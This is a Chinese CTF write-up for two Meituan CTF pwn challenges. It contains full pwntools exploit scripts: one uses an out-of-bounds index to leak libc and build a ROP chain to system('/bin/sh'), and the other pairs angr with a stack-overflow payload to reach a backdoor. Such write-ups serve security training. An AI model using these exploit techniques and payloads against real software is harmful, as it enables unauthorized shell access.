美团CTF

note

image-20220919194924108

数组越界,修改该函数内的返回地址进行ROP即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./note')
DEBUG = 0
if DEBUG:
p = process('./note')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
else:
ip = '39.106.78.22'
port = 13535
libc = ELF("./libc-2.31.so")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def add(size, content):
p.sendlineafter(b"5. leave\n", b'1')
p.recvuntil(b"Size: ")
p.sendline(str(size).encode('ascii'))
p.recvuntil(b"Content: ")
p.send(content)


def edit(idx, content):
p.sendlineafter(b"5. leave\n", b'3')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"Content: ")
p.send(content)


def show(idx):
p.sendlineafter(b"5. leave\n", b'2')
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))


def free(idx):
p.sendlineafter(b"5. leave\n", b'4')
p.recvuntil(b" ")
p.sendline(str(idx).encode('ascii'))

pop_ret = 0x00000000004017b3
for i in range(9):
add(0x100, b'a')
for i in range(8):
free(i)
add(0x80, b'deadbeef')
show(0)
p.recvuntil(b'deadbeef')
leak = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ecce0
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
#debug()
edit(-4, p64(0) + p64(0x000000000040101a) + p64(pop_ret) + p64(binsh) + p64(sys))
p.interactive()

捉迷藏

image-20220919195055312

image-20220919195125818

因为附件的程序分支过多,并且给了后门函数,猜测存在栈溢出。因此先寻找输入点,发现在该处的输入存在溢出。直接使用angr无法直接得出到达该点的条件,所以需要前排除掉一些分支后再使用angr确定条件。

image-20220919195500849

知道了流程后,就是一步步满足条件,最终跳到溢出点。

image-20220919213158699

前面几个我都是直接空格填满个数就过了,没去细究为什么。而这个必须要研究,不然过不去。

image-20220919213237484

要满足0x2426即9254,而这个获取输入的逻辑为不为空格,且循环次数不能大于19次,他就会一次读一个字符,而最后把读取到的字符转为int类型。所以,为了达成9254,则拆分成’9’,’2’,’5’,’4’进行输入,然后再以一个空格结尾结束getchar。而后面的几个都以输入空格即可,因为返回值就是0,没必要单独取0。

最后一层条件使用angr计算

image-20220919214549112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import angr
import sys
path_to_binary = "./pwn"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.blank_state(addr=0x00000000004076BD)
simulation = project.factory.simgr(initial_state)
print_good_address = 0x00000000004079D7
simulation.explore(find=print_good_address, avoid=0x0000000000407A4F)
if simulation.found:
solution_state = simulation.found[0] # 获取通过 explore 找到符合条件的状态
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution))
else:
raise Exception('Could not find the solution')

成功getshell

image-20220919213808741

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = process('./pwn')
context.log_level = 'debug'
back_door = 0x40132c
ret = 0x000000000040101a
#gdb.attach(p, "b *0x0000000000407ADE")
p.sendafter(b'sbAmJLMLWm:', b' '*0x8)
p.sendafter(b'HuEqdjYtuWo:', b' '*0x33)
p.sendafter(b'hbsoMdIRWpYRqvfClb:', b' '*0x35)
p.sendafter(b'tfAxpqDQuTCyJw:', b' '*0x22)
p.sendafter(b'UTxqmFvmLy:', b' '*3 + b'9' + b'2' + b'5' + b'4' + b' '*5)
p.sendafter(b'LLQPyLAOGJbnm:', b'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
payload = b'a'*0xf + p64(0xdeadbeef) + p64(ret) + p64(back_door)
payload = payload.ljust(0x37, b'a')
p.sendafter(b'gRGKqIlcuj:', payload)
p.interactive()

ret2libc_aarch64

smtp

查看评论